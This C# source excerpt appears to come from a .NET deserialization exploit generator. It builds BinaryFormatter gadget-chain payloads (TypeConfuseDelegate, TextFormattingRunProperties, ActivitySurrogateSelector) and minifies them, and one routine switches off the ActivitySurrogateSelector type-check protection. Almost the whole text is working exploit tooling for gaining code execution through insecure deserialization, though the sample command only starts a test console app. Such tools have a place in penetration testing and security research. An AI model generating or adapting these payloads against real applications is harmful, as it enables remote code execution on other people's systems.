public static MemoryStream MinimiseBFAndRun(Stream binaryFormatted, InputArgs inInputArgs, bool isErrOk, bool showInfo)
{
string json_result = MinimiseJsonAndRun(AdvancedBinaryFormatterParser.StreamToJson(binaryFormatted), inInputArgs, isErrOk, showInfo);
MemoryStream result = AdvancedBinaryFormatterParser.JsonToStream(json_result);
if (showInfo)
{
Console.WriteLine("Size reduced from " + binaryFormatted.Length + " to " + result.Length);
}
result.Position = 0;
return(result);
}
// this has been used as an example to minify the TypeConfuseDelegateGenerator payload!
private void MinimiseTCDJsonAndRun()
{
string myApp = "TestConsoleApp_YSONET";
sampleInputArgs = new InputArgs(myApp + " /foo bar", true, false, false, false, true, null);
bool isErrOk = false;
TypeConfuseDelegateGenerator tcdg = new TypeConfuseDelegateGenerator();
byte[] tcd_bf_byte = (byte[])tcdg.GenerateWithNoTest("binaryformatter", sampleInputArgs);
string json_string = AdvancedBinaryFormatterParser.StreamToJson(new MemoryStream(tcd_bf_byte), false, true, true);
byte[] result = BinaryFormatterMinifier.MinimiseBFAndRun(tcd_bf_byte, sampleInputArgs, isErrOk, true);
Console.WriteLine(Encoding.UTF8.GetString(result));
Console.ReadLine();
}
private void TextFormatterMinifying()
{
string myApp = "TestConsoleApp_YSONET";
sampleInputArgs = new InputArgs(myApp + " /foo bar", true, false, true, true, true, null);
bool isErrOk = false;
TextFormattingRunPropertiesGenerator generator = new TextFormattingRunPropertiesGenerator();
byte[] tcd_bf_byte = (byte[])generator.GenerateWithNoTest("binaryformatter", sampleInputArgs);
Console.WriteLine("Init size: " + tcd_bf_byte.Length);
string json_string = AdvancedBinaryFormatterParser.StreamToJson(new MemoryStream(tcd_bf_byte), false, true, true);
string result = BinaryFormatterMinifier.MinimiseJsonAndRun(json_string, sampleInputArgs, isErrOk, true);
Console.WriteLine(result);
MemoryStream ms = AdvancedBinaryFormatterParser.JsonToStream(result);
Console.WriteLine("Final size: " + ms.Length);
Console.ReadLine();
}
private void ActivitySurrogateSelector()
{
string myApp = "TestConsoleApp_YSONET";
sampleInputArgs = new InputArgs(myApp + " /foo bar", true, true, true, true, true, null);
bool isErrOk = false;
PayloadClass myPayloadClass = new PayloadClass(1, sampleInputArgs);
List <object> ls = myPayloadClass.GadgetChains();
//*
// Disable ActivitySurrogate type protections during generation
ConfigurationManager.AppSettings.Set("microsoft:WorkflowComponentModel:DisableActivitySurrogateSelectorTypeCheck", "true");
//Serialize(myPayloadClass, "BinaryFormatter", sampleInputArgs);
MemoryStream lsMs = new MemoryStream();
System.Runtime.Serialization.Formatters.Binary.BinaryFormatter fmt = new System.Runtime.Serialization.Formatters.Binary.BinaryFormatter();
fmt.SurrogateSelector = new MySurrogateSelector();
fmt.Serialize(lsMs, ls);
//lsMs.Position = 0;
//fmt.Deserialize(lsMs);
byte[] bf_byte = lsMs.ToArray();
Console.WriteLine("Init size: " + bf_byte.Length);
string json_string = AdvancedBinaryFormatterParser.StreamToJson(new MemoryStream(bf_byte), false, true, true);
//MemoryStream msCanIt = AdvancedBinaryFormatterParser.JsonToStream(json_string);
//msCanIt.Position = 0;
//fmt.Deserialize(msCanIt);
string result = BinaryFormatterMinifier.MinimiseJsonAndRun(json_string, sampleInputArgs, isErrOk, true);
Console.WriteLine(result);
MemoryStream ms = AdvancedBinaryFormatterParser.JsonToStream(result);
Console.WriteLine("Final size: " + ms.Length);
Console.ReadLine();
}
